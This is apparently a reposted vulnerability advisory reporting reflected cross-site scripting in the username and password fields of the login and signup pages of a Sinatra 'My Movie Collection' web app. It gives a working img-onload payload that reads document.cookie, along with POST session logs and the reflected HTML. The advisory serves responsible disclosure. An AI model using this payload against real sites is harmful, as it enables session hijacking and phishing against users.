Monday, November 1, 2021

My Movie Collection Sinatra App Login Cross Site Scripting

Document Title:
My Movie Collection Sinatra App - (Login) XSS Vulnerabilities

References (Source):

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Vulnerability Class:
Cross Site Scripting - Non Persistent

Current Estimated Price:
500€ - 1.000€

Product & Service Introduction:
Welcome to My Movie Collection Sinatra web app where you can create, read, update, and delete movies that you own.
Here you can build and keep track of your DVD/Blu-Ray collection. You can also add movie comments and date purchased.
The code is available as open source under the terms of the MIT License.

(Copy of the Homepage: )

Abstract Advisory Information:
The vulnerability laboratory core research team discovered multiple non-persistent cross site scripting vulnerabilities in the My Movie Collection Sinatra web-application.

Affected Product(s):
James Fernandez
Product: My Movie Collection Sinatra app (v2017 & v2018)- Video Application (Web-Application) (Ruby)

Vulnerability Disclosure Timeline:
2021-09-01: Researcher Notification & Coordination (Security Researcher)
2021-09-02: Vendor Notification (Security Department)
2021-**-**: Vendor Response/Feedback (Security Department)
2021-**-**: Vendor Fix/Patch (Service Developer Team)
2021-**-**: Security Acknowledgements (Security Department)
2021-11-01: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Exploitation Technique:

Severity Level:

Authentication Type:
Pre Auth (No Privileges or Session)

User Interaction:
Low User Interaction

Disclosure Type:
Responsible Disclosure

Technical Details & Description:
Multiple non-persistent cross site web vulnerabilities has been discovered in the official My Movie Collection Sinatra web-application.
The vulnerability allows remote attackers to inject own malicious script codes with non-persistent attack vector to compromise browser
to web-application requests by the client-side.

The non-persistent cross site scripting web vulnerabilities are located in the username and password input fields of the login and signup module.
Unauthenticated remote attackers are able to process manipulated post method requests for logins or signup to inject own malicious script code
with non-persistent attack vector. The request method to inject is post and the attack vector is located on the client-side.

Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent external redirects
to malicious source and non-persistent manipulation of affected application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] ./login
[+] ./signup

Vulnerable Input(s):
[+] Username
[+] Password

Vulnerable Parameter(s):
[+] username
[+] password

Proof of Concept (PoC):
The client-side cross site scripting web vulnerabilities can be exploited by remote attackers without account and with low user interaction.
For security demonstration or to reproduce the cross site web vulnerability follow the provided information and steps below to continue.

PoC: Exploitation
"><img src="evil.source" onload="alert(document.cookie)" <

--- PoC Session Logs (POST) ---
Host: sinatra-my-movie-collection.localhost:8000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 183
Connection: keep-alive
Cookie: rack.session=BAh7CEkiD3Nlc3Npb25faWQGOgZFVEkiRWExYmI3MzNjMjY0MzI0OWFmZjhm%0ANTBkZDJmY2U1Y2VmMTljMjM0ODljYWY2NTVm
username="><img src="evil.source" onload="alert(document.cookie)" <&password="><img src="evil.source" onload="alert(document.cookie)" <
POST: HTTP/1.1 200 OK
Connection: keep-alive
Content-Type: text/html;charset=utf-8
Content-Length: 0
Server: WEBrick/1.3.1 (Ruby/2.3.3/2016-11-21)
Host: sinatra-my-movie-collection.localhost:8000
Accept: image/webp,*/*
Connection: keep-alive
Cookie: rack.session=BAh7CUkiD3Nlc3Npb25faWQGOgZFVEkiRWExYmI3MzNjMjY0MzI0OWFmZjhm%0ANTBkZDJmY2U1Y2VmMTljMjM0ODljYWY2NTVmN
GET: HTTP/1.1 200 OK
Connection: keep-alive
Content-Type: text/html;charset=utf-8
Server: WEBrick/1.3.1 (Ruby/2.3.3/2016-11-21)

Vulnerable Source: Signup / Login (nav)
<title>My Movie Collection</title>
<a href="/movies/new">Enter new movie</a>
<a href="/movies">See your movies</a>
<a href="/logout">Logout</a>
<h3>Welcome, "><img src="evil.source" onload="alert(document.cookie)" <!="" <!--capitalize="" 1st="" letter="" of="" username--="">


Credits & Authors:
Vulnerability-Lab [Research Team] -

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thank you Templateism for the design - You should have written the code a little more complicated - Nothing Encrypted anymore